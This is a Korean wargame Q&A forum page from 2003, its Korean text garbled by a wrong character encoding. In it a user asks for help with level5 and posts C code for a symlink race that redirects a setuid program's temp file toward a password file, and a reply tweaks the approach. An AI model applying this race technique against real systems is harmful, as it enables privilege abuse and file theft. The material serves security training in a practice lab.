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 2844, 8/143 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   crewksm
   level6À¸·Î °¡°í½ÍÀº level5

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&no=339 [º¹»ç]


Á¦¹ß Á» °¥ÄÑÁÖ¼¼¿ä ·¹º§6À¸·Î ³Ñ¾î°¡°í ½Í¾î¼­ ȯÀåÇѳðÀÔ´Ï´Ù...µµÀúÈ÷ ·¹º§5Ç®¼ö°¡ ¾ø½À´Ï´Ù..ÀÌ·¸°Ô ÄÚµùÇߴµ¥

#include<stdio.h>

main()
{
    int i;
    for(i=0;i<100;i++)
      {
          system("/usr/bin/level5&");
          system("rm -rf /tmp/level5.tmp");
          symlink("/home/level5/tmp/pass.txt","/tmp/level5.tmp");
      }
}

ÀÌ·¸°Ô Çϴϱî ÀÚ²Ù ½ÇÇà±ÇÇÑÀÌ level6À¸·Î ³ª¿Í¼­ Á¢±ÙÇÒ¼ö°¡ ¾ø³×¿ä Á¤¸» ´ä´äÇؼ­ ¹äµµ ¸ø¸Ô°Ú½À´Ï´Ù Á» °¥ÄÑÁÖ¼¼¿ä ºÎŹÀÔ´Ï´Ù

  Hit : 3487     Date : 2003/10/01 03:20



    
killerj1 µåµð¾î ÇØ°áÇÞ½À´Ï´Ù.~~ ºñ½ÁÇÏ°Ô´Â Çϼ˳׿ä.. symlink·Î ÇϽÃÁö ¸¶½Ã°í.. ±×³É ln À¸·Î Çϼŵµ µÉµí 2003/10/02  
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2704     [re] ·¹º§4¿¡ Á¦ »ý°¢ÀÌ ¸Â´ÂÁö...[2]     Farcen
09/18 3554
2703   ·¹º§5... ·¹À̽ºÄÁµð¼Ç...[1]     Farcen
09/16 3551
2702   Á˼ÛÇѵ¥ ·¹º§4 Áú¹®Á» µå¸±°Ô¿ä...¤Ð[3]     qhoomi
09/23 3549
2701     [re] [level3]-ÀÚ¼¼ÇÑ ³»¿ëÀÔ´Ï´Ù..[4]     kuh3h3
07/14 3549
2700   level3¿¡ ´ëÇÑ ¼³¸í     koresong
03/25 3548
2699   Level11 ¿¡±×½©¹®Á¦..?[1]     topkpr1004
05/16 3546
2698   ¸í¿¹ÀÇ Àü´ç¿¡ ¿À¸£½Å ºÐµéµµ. ÀÌ°Å Á¤¸» ¾Ë°í ³Ñ¾î°¡¼Ì³ª¿ä?[Áú¹®]     bugfixer2
04/22 3541
2697   Ȳ´çÇÑ level3[17]     happykth1
09/26 3535
2696     [re] ·¹º§2 Á¦¹ß¿Ïº®ÇѴ亯¿ä..     ¼ÒÀ¯
09/18 3523
2695   ·¹º§4 Áú¹®ÀÔ´Ï´Ù[7]     hoyeng
08/06 3514
2694   -_-·¾3c¾ð¾î Çؼ®ºÒ°¡´É!!-_-Á¦±æ...[5]     alako88
09/09 3514
2693   ftz ȨÆäÀÌÁöÁ¢¼Ó[2]     ¿ù¿ù
12/10 3513
2692   ¾ÆÁ÷ ·¹º§1¿¡¼­ ÇظŴ Ãʺ¸ÀÔ´Ï´Ù...[5]     pepct
11/25 3513
2691   ·¹º§4°¡ ÀÌÇØ°¡ ¾ÈµÅ¿ä..     vngkgkx
09/06 3513
2690     [re] ·¹º§4¿¡¼­[4]     hkpco
10/03 3504
2689   level2 Ç®À̹ý.[7]     pogusm
12/08 3503
2688   [lord of bof FC4] titan Áú¹®ÀÖ½À´Ï´Ù!!!!!! Á¦¹ß[3]     ¿ìÀ×22
07/04 3502
2687   level1¿¡ ´ëÇÑ ¼³¸í[1]     koresong
03/25 3502
2686   ·¹º§ 12 ¿¡¼­ offset°ªÀ» ±¸ÇÏ´Â ÀÌÀ¯[1]     busjo
12/17 3501
2685     À½...[2]     bigfood
09/10 3488
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